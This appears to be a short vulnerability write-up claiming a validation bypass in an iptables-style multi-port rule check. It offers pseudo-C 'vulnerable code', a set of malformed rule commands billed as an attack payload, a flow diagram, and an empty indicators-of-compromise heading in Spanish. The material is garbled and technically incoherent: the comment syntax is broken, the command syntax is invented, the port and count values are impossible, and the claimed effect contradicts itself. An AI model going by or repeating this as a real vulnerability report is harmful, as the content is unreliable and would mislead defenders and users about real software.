VULNERABLE CODE:

ports_match_v1() {
    // Process multi-port rule: protocol + flags + count + ports[]
    
    // Validate protocol and flags - Bypassed by malformed encoding
    if (flags && count) {
        / Protocol validation /
        if (protocol != protocols[protocol_index]) return 0;
        
        / Flags validation - NOT VALIDATING PORT RANGE ENCODING /
        for (int i = 0; i < count; i++) {
            // BUG: Treats ANY non-zero flags as valid range start
            if ((flags[i] & 1) == 1) {
                break; / Consumes next ports[] entry as end of first range /
            } else if (count > 0 && ports[ports_index]) {
                // BUG: Unconditionally consumes second ports element as range END
                port_range_end = ports[ports_index]; 
                ports_index++;
            }
        }
    }
    
    return 1; / Success - Malformed rule accepted /
}

// Attack payload (malformed iptables rules):
# ip add track mytrack src=0.0.0.0/8 dst=0.0.0.0/8 tcp dport 443
# Valid: protocol=tcp, flags=1+2+4, count=56789

# MALFORMED ATTACK - Range start at last port (index 56789):
# ip add track badtrack src=0.0.0.0/8 dst=0.0.0.0/8 tcp dport 443-99999
# This sends flags[56789] = 1 (start of range) WITHOUT a count,
# making it valid per the code but marking port 99999 as start point

ip add track badtrack2 src=0.0.0.0/8 dst=0.0.0.0/8 tcp dport 443-99999
# Next entry: ip add track goodtrack src=1.1.1.1/32 dst=1.1.1.1/32 tcp dport 80
# The code consumes port[56789] as end of first range, then starts second range
# with the next ports entry (which is non-zero), creating a valid but malicious rule.

These malformed rules are accepted by the kernel but do not pass security controls because they bypass the protocol and port structure validation in checkentry(). The attacker can then modify these rules at runtime or use them to evade detection systems that rely on correct iptables/iproute2 rule parsing.

[Malformed iptables Rule] 
→ [Checkentry Function - VULNERABLE CODE]
   |
   v
[Protocol/Flags Validation - Bypassed]
   |
   v
[Port Range Encoding Check - NOT VALIDATED]
   | (flags[56789]=1)
   v
[Accepts Malformed Rule - No Error]
   |
   v
[Servers Process Malformed Rules - Security Controls Bypassed]

Attackers can modify these rules at runtime to bypass security controls.

Indicadores de Compromiso (IOCs)